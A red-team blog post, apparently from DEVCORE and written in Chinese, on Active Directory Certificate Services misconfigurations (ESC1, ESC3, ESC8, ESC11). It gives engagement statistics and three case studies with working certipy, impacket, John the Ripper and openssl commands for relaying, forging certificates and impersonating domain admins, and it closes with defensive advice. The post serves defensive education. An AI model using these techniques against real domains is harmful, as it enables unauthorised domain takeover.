本篇基於強者我隊長 vtim 在 DEVCORE Conference 2024 的 talk「分分鐘拿下整個網域 - 關於 AD，你還疏忽了什麼？」。

TL;DR

本文分享我們在實戰上遇到 AD CS 的經驗以及特別的案例，並介紹 AD CS 的基本概念，希望讓企業與對 Active Directory 安全有興趣的讀者了解其重要性和潛在的風險。

• 什麼是 AD CS？
• 實戰統計
• 一個漏洞的產生
• 網域風險
• 案例分享
  • 案例一：ESC8 + ESC3-like Escalation
  • 案例二：沒有 135 port 的 ESC11
  • 案例三：撿到私鑰
• 時間軸
• 結語
• References

什麼是 AD CS？

在企業中，管理內網大量主機一直都是系統管理員的一大挑戰。Microsoft 提供了 Active Directory 這個解決方案 (以下簡稱為 AD)，以階層式且集中化的架構來管理電腦、使用者及資源，它的方便性也因此成為許多企業愛用的內網管理工具。從 2017 年紅隊演練統計至今，我們約有 89.6% 的客戶使用 AD 作爲管理的解決方案。

AD CS，全名為 Active Directory Certificate Services，是 Microsoft 提供在 AD 中作為可選用的 PKI 角色，用於憑證管理和頒發、身分驗證、加密傳輸等。AD CS 的 CA (Certificate Authority) 分為兩種模式：

• Standalone CA
• Enterprise CA -> 本文要探討的配置

Enterprise CA 模式會與 AD 整合，因此身分驗證及憑證權限等設定是和 AD 的身分綁定，也是企業通常採用的方式。

談到 AD CS 的運作，憑證是透過憑證範本 (Certificate Templates) 來管理，它包含這張憑證的各種屬性如 Extended Key Usage (EKU)、加密方式、申請權限、有效時間等，企業可以根據需求建立不同的憑證範本。

舉例來說，網域使用者申請 User 憑證要透過對 CA 發起 Certificate Signing Request (CSR)，並指定 User 憑證範本，這個過程中 CA 會驗證使用者的身分及權限，若允許則根據憑證範本的設定頒發憑證，使用者便能以這張憑證進行身分驗證存取網域內的資源：

然而 AD CS 的設定容易造成疏失，弱點會發生在 CA 及憑證範本的設定上。若攻擊者成功利用這些漏洞，可能導致網域中的高權限使用者的憑證被攻擊者取得並驗證成為這些身分，而得以存取網域中的機密資訊。加上變更密碼並無法讓憑證失效，必須直接撤銷該憑證，若不知道根因攻擊者還是可以以該身分存取網域！

甚至攻擊者可取得根憑證的私鑰，偽造任意身分的憑證，除了可存取所有網域資源外也非常難以偵測，還需要撤銷根憑證才有辦法避免再被偽造。這代表網域中的憑證皆會失效，後果不堪設想。

2021 年 SpectreOps 團隊整理了白皮書 Certified Pre-Owned，文中歸納了各種攻擊手法包括 (x 表示編號)：

• THEFTx - 憑證竊取
• PERSISTx - 網域帳號權限維持
• DPERSISTx - 網域權限維持
• ESCx - 網域提權

白皮書中也包括了防禦及偵測的建議，非常建議讀者閱讀～

實戰統計

截至 2025 年 1 月，我們發現在上百場紅隊演練中：

• 86.1% 企業有安裝 AD CS
• 這些企業中有 70.1% 存在不安全設定
• 不安全設定中 90.9% 可利用

總計來說，裝有 AD CS 的 AD 中高達 54.9% 左右的比例可以直接取得網域最高權限，整個利用過程僅需數分鐘：

在這之中可以細分利用的手法，其中以 ESC1 發生的頻率最高：

你可能想問真的這麼容易發生嗎？接下來我們來看看一個常見的情境可能造成這樣的弱點。

一個漏洞的產生

想像你是一位 AD 管理員，今天內網網站的管理者説：「ㄟ！最近被通報網站會跳出連線不安全的警告，不處理會被電啦，幫我弄個憑證處理⼀下好嗎？」

「喔對了，⼀些比較重要的伺服器有雙向驗證的需求，也⿇煩幫處理⼀下」

於是你開啟 MMC.exe 進入憑證範本設定頁面：

預設的 Web Server 憑證範本的版本是 1，可設定的選項很少。你複製出一張新的範本來操作，創建了一個 CORP Web Server 的憑證範本並設定好有效的時間：

為了要讓使用者可自行申請，所以加上申請權限：

內網管理者說他需要雙向驗證，而原本的憑證範本的 EKU 只有 Server Authentication，那就打開 Client Authentication 沒錯吧：

參考一下網路上憑證的設定，可以看到像是微軟官方網站 microsoft.com 的憑證也有 Client Authentication 和 Server Authentication 等 EKU，看起來設定非常完美：

最後在 CA 啟用該憑證範本：

這樣普通的流程卻造成了 ESC1，也就是我們案例中最常見的 AD CS 提權弱點。下列是以 certipy 工具檢查的結果，滿足下列條件：

1. 憑證範本啟用
2. 允許申請者指定 Subject Alternative Name (SAN) 欄位 -> EnrolleeSuppliesSubject
3. 憑證範本的 EKU 允許網域認證，例如 Client Authentication、Smart Card Logon、Any Purpose、PKINIT Client Authentication 或沒有 EKU
4. 不需管理者授權申請
5. 不需簽章
6. 允許低權限使用者申請

簡單來說，由於 AD CS 會以 SAN 欄位來驗證使用者身分，因此若可以任意申請該憑證且指定 SAN，加上該憑證允許對網域認證時，申請者便能假扮為任意網域使用者進行身分驗證來提權。

這樣簡單的設定疏失也非常容易發生在 AD CS 的各種地方，例如 CA 安裝了 Web Enrollment 等 HTTP 服務時就預設存在弱點 (ESC8)，也造成如此高比例安裝 AD CS 的企業存在這些不安全的設定。

實戰上，我們也有遇到憑證範本只允許特定的群組申請，然而該群組卻沒有足夠的保護，導致攻擊者取得這些權限的成本不高，例如透過 Kerberoasting 等手法取得可申請憑證的帳號，僅僅多了一個步驟，同樣可達成網域接管；又或是開啟了管理員授權申請及拔掉了申請權限，但卻留下了寫入權限。在這個情境下，攻擊者仍可自行將權限寫入並移除管理者授權申請的設定，導致憑證範本仍可被利用來取得網域管理員權限。

網域風險

多數企業會安裝一個網域樹系，再往下切分多個子網域進行管理，較少數會切出多個樹系，這樣的做法在資源存取上會有較多的限制，但同時提供了更好的保護得以將資源隔離，例如同個樹系下 CA 不需額外設定即可讓所有的網域使用該 PKI 架構，但也代表若該 CA 被入侵，將導致所有在該樹系的網域被攻擊者取得控制權。

假設攻擊者取得任一個子網域的控制權限，對於整個樹系將會造成什麼樣的風險？通常我們會先利用 SID History Injection 等攻擊手法提權到根網域，但並不是每個網域環境皆可用，因為這個手法可能會被 SID Filtering 機制所阻擋。然而，若是企業中存在 AD CS，攻擊者可以修改 LDAP 的 Configuration Naming Context 中相關的 PKI 物件，進而影響整個樹系包含根網域，最終取得 Enterprise Admins 的憑證，詳細手法可參考 SpecterOps 團隊的技術文章 From DA to EA with ESC5：

更驚人的是，在網域樹系沒有 AD CS 的情境下，攻擊者可自行安裝 AD CS 提權到根網域！實際上兩個手法的原理其實是相同的，因為涵蓋整個樹系的設定除了子網域會從根網域向下同步外，也會向上同步，影響到根網域的設定達到提權的效果。

至於多個樹系的情境下，一個網域樹系的 CA 被入侵也有可能導致其他樹系的淪陷，但前提必須有額外設定讓其他網域樹系信任該 CA：

如果其他網域樹系信任被入侵的 CA 的話，攻擊者可以簽任意憑證存取這些樹系，突破樹系的 security boundary。

對於 AD CS 的部署，理想情況應將 root CA 離線，並用 subordinate CA 來頒發憑證，也就是兩階層以上的架構如 Securing PKI: Planning a CA Hierarchy 文中所述。假設不幸的 subordinate CA 被入侵，還可透過撤銷其憑證來避免需要整個 PKI 重建的窘境。在多個樹系的架構，這樣的做法也可以讓損害不至於擴大到其他樹系。

案例分享

在我們遇到的案例中，絕大多數情境都是可以直接利用，導致整個網域樹系在數分鐘內被取得最高權限。我們想分享幾個特別的例子；這些例子是已經經過一定程度的強化，無法直接利用或是不存在「定義」上的弱點，卻仍可被攻擊者間接利用，成功取得網域最高權限的案例。

註：以下案例皆已去識別化。

案例一：ESC8 + ESC3 like Escalation

在我們進入企業內網並取得網域帳號後，起手式當然先是 AD CS 的偵察，馬上掏出 certipy 工具：

certipy find -stdout -u 'user@corp.local'

結果顯示 corp-CA01-CA 這個 CA 存在 ESC8 弱點，該弱點爲 CA 的 HTTP 服務可被 relay，攻擊者可透過 coerce 手法例如 PetitPotam 強制讓 Domain Controller 等重要主機主動連線到攻擊者控制的機器，進而 relay 到 CA 的 HTTP 服務來取得憑證。

但 Domain Controller 可申請的憑證範本像是 DomainController 或 Machine 範本都沒有啟用在存在 ESC8 的 corp-CA01-CA 上 (如下圖)，因此需要其他方式進行利用：

這時候我們注意到可串連類似 ESC3 的利用鏈。ESC3 的弱點在於憑證範本具備 Certificate Request Agent EKU，當可成功申請這樣的憑證範本時，申請者可用申請到的憑證再以任意身分申請另一張憑證。從偵察結果，我們發現另一個網域 child1.corp.local 的一台機器 ws01 可申請下列 Template1 憑證，其滿足 Certified Pre-Owned 白皮書中除了申請權限之外的 ESC3 的第一張憑證範本條件：

透過 ESC8，我們利用 PetitPotam 手法讓 ws01 對我們控制的主機連線，進而 relay 到 corp-CA01-CA 申請 Template1 憑證。

ESC3 第二張憑證範本的條件則可用另一個網域 child2.corp.local 的主機向 corp-CA02-CA 申請取得。因此在成功獲得 Template1 憑證後，藉由已控制的主機 ws02.child2.corp.local 以 Enterprise Admins 的身分申請 Template2 憑證範本，加上該憑證允許網域認證，確認獲得最高控制權。

你可能會想問為什麼不能直接申請 Template2 憑證，這是因為該憑證需要簽章，必須以帶有 Certificate Request Agent EKU 的憑證申請，也就是透過 ESC8 申請的 Template1 憑證。

從這個案例中，雖然弱點在於 ESC8，且單獨的弱點無法造成太大影響，但我們仍可搭配其他憑證加上內網橫向移動獲得的成果，一步步地滿足條件，最終取得目標權限。

案例二：沒有 135 port 的 ESC11

ESC11 與 ESC8 類似，皆為 relay 攻擊。差別在於 ESC8 relay 的目標是 CA 的 HTTP 服務，而 ESC11 則是因為用於憑證相關操作的 ICPR 協定沒有強制加密的設定造成，攻擊本身是 relay 到 RPC 的介面 (TCP 135 port 及相關的高 port 等)。

執行滲透過程時，我們遇到 CA 的 135 port 無法連線，但 certipy 透過 445 port 存取 remote registry 可以確認存在 ESC11 弱點。然而正常 RPC 流程會透過 135 port 的 Endpoint Mapper 來確認 ICPR 所使用的動態 port 來進行溝通，下圖以 49783 port 為例：

問題：能不能在不對 135 port 連線的狀況下，存取 ICPR 來成功 relay 請求進而取得憑證？

回頭檢視 RPC 機制，在進行 ICPR 溝通時，會需要先對這個介面做 binding 並帶上 ICPR 介面的 UUID。若該介面不是 ICPR 則 binding 會失敗。

我們可以直接對所有可能且開啟的 RPC port 進行 ICPR binding，預設為範圍是 49152 ~ 65535，成功 binding 的話即為 ICPR 介面：

from impacket.dcerpc.v5 import transport
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5 import rpcrt


def icpr_check(target_ip, port):
    MSRPC_UUID_ICPR = uuidtup_to_bin(("91ae6020-9e3c-11cf-8d7c-00aa00c091be", "0.0"))

    rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{target_ip}[{port}]")
    rpctransport.setRemoteHost(target_ip)
    rpctransport.set_connect_timeout(1)
    dce = rpctransport.get_dce_rpc()
    dce.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

    try:
        dce.connect()
        dce.bind(MSRPC_UUID_ICPR)
        return True
    except:
        return False

# TODO: modify these variables
ca_ip = "10.1.1.101"
open_ports = [49664, 49669, 49670, 49783, 53661]

for port in open_ports:
    print(port, icpr_check(ca_ip, port))

最後透過修改 certipy 程式碼到對應的 port 及 CA 的 IP 如下即可成功 relay 並取得憑證達成網域提權：

self.stringbinding = "ncacn_ip_tcp:<CA_IP>[<ICPR_PORT>]"

修改動態取得對應 port 的程式邏輯如附圖：

案例三：撿到私鑰

我們也曾遇過幾次在橫向移動的過程撿到 PFX 或 P12 憑證檔案，它出現在公開的 SMB share 或特定我們有取得權限的主機檔案系統中。

在一次紅隊演練取得外網進入點並建立 Tunnel 後，發現 Domain Controller 有多個額外的 SMB 分享資料夾且允許網域使用者存取。我們透過取得的帳號開始翻找各種可能的高價值檔案。在這之中，看到幾個與 CA 名稱相關的 P12 檔案。直覺和經驗告訴我們，這可能是非常關鍵的檔案，便在取得檔案後以 John the Ripper 破解憑證檔案的密碼：

pfx2john corp-CA01-CA.p12 > hash
john --wordlist=WORDLIST hash

由於密碼強度不足，在成功破解後便能檢視其中的憑證資訊：

openssl pkcs12 -in corp-CA01-CA.p12 -nokeys -out corp-CA01-CA.crt
openssl x509 -in corp-CA01-CA.crt -text -noout

內容大致如下：

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            23:23:8f:98:da:e5:21:95:4d:59:49:af:23:b4:47:34
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: DC=local, DC=corp, CN=corp-CA01-CA
        Validity
            Not Before: Dec  3 09:34:02 2024 GMT
            Not After : Dec  3 09:44:02 2029 GMT
        Subject: DC=local, DC=corp, CN=corp-CA01-CA
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:ba:1e:cb:84:ff:5c:9d:91:09:75:38:40:ee:7f:
                    f7:1c:0b:bb:fd:91:81:f3:eb:07:3d:c9:93:39:a8:
...SNIP...

從發行者 (Issuer) 及 Subject 可看出該憑證檔案對應到 AD CS 的 CA，便可嘗試以該私鑰偽造憑證並驗證身分：

certipy cert -pfx corp-CA01-CA.p12 -password '1qaz@WSX' -export -out corp-CA01-CA-nopass.p12
certipy forge -ca-pfx corp-CA01-CA-nopass.p12 -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'

certipy auth -pfx administrator_forged.pfx

最後經過 PKINIT 取得網域管理員的 NTHash 進行 Pass the Hash，成功偽造身分成爲 DA！

這些情境常發生在備份時，匯出了憑證及私鑰，但卻沒有使用足夠複雜的密碼進行加密來保護，導致我們取得 root CA 及 Domain Controller 的私鑰等高權限的身分，因此可以任意偽造憑證或進行 DCSync 等操作進而取得整個網域的控制權。

時間軸

以下整理從 2021 年 Certified Pre-Owned 白皮書發佈截至 2025 年 1 月的 AD CS 攻擊手法的演進：

結語

• AD CS 應納入 Tier 0 保護，每個細節會影響你的網域安全，包含備份操作等。企業藍隊應考慮：
  • 定期檢核所有憑證範本
  • 停用所有廢棄的憑證範本
  • 檢核憑證範本權限設定
  • 高風險憑證啟用管理員授權申請
• 網路隔離很重要，僅允許需要的連線，可大幅縮小攻擊面及駭客可活動的空間
• 單一的防禦機制並不一定能杜絕入侵，應思考是否有可能的方式可以繞過防禦限制，或是讓我們幫你想吧！

References

• 分分鐘拿下整個網域: 關於 AD，你還疏忽了什麼？
• Certified Pre-Owned: Abusing Active Directory Certificate Services
• From DA to EA with ESC5
• Securing PKI: Planning a CA Hierarchy
• Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover
• Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more!
• Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)
• KB5014754: Certificate-based authentication changes on Windows domain controllers
• Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!
• Certificates and Pwnage and Patches, Oh My!
• Relaying to AD Certificate Services over RPC
• ESC12 – Shell access to ADCS CA with YubiHSM
• ADCS ESC13 Abuse Technique
• ADCS ESC14 Abuse Technique
• EKUwu: Not just another AD CS ESC